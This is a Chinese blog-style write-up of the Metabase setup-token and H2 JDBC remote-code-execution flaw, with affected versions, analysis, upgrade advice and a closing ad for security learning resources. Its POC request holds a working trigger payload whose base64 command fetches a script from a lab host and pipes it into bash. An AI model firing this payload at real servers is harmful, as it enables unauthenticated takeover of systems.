1.漏洞描述
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令。利用时不需要身份验证。
2.影响版本
Metabase open source 0.46 < 0.46.6.1
Metabase Enterprise 1.46 < 1.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase open source 0.43 < 0.43.7.2
Metabase Enterprise 1.43 < 1.43.7.2
访问http://192.168.77.142:3000/api/session/properties
需要先获取到setup-token
POC
POST /api/setup/validate HTTP/1.1
Host: 192.168.77.142:3000
Content-Type: application/json
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 804
{
"token": "89a6ac54-4d90-4db9-a8b7-9469be8b4848",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAxOTIuMTY4Ljc3LjE0Mjo4ODY0LzEudHh0}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
5.漏洞分析
令牌泄露
在Metabase 进行安装时,存在一个特殊的令牌setup-token
,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。
这导致了完成安装后 properties仍然存在setup-token
所以我们可以通过/api/session/properties
来读取 setup-token
现在 我们已经拿到了 setup-token 以用于调用setup api。
JDBC RCE
src/metabase/api/setup.clj
存在路由/api/setup/validate
,用于验证数据库是否连接成功
它会通过api.database/test-database-connection
来处理输入的参数完成对数据库的校验
跟进到src/metabase/api/database.clj
就是一个JDBC Connection
根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道,可以通过以下三种方式攻击H2数据库
- RUNSCRIPT FROM远程加载sql文件(需要出网)
- CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
- CREATE TRIGGER配合 javascript 引擎构建代码执行
我们这里采用第三种方法,无需出网和额外依赖即可使用,javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。
**6.**修复建议
目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。
官方下载地址:
https://github.com/metabase/metabase/releases
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
扫码领取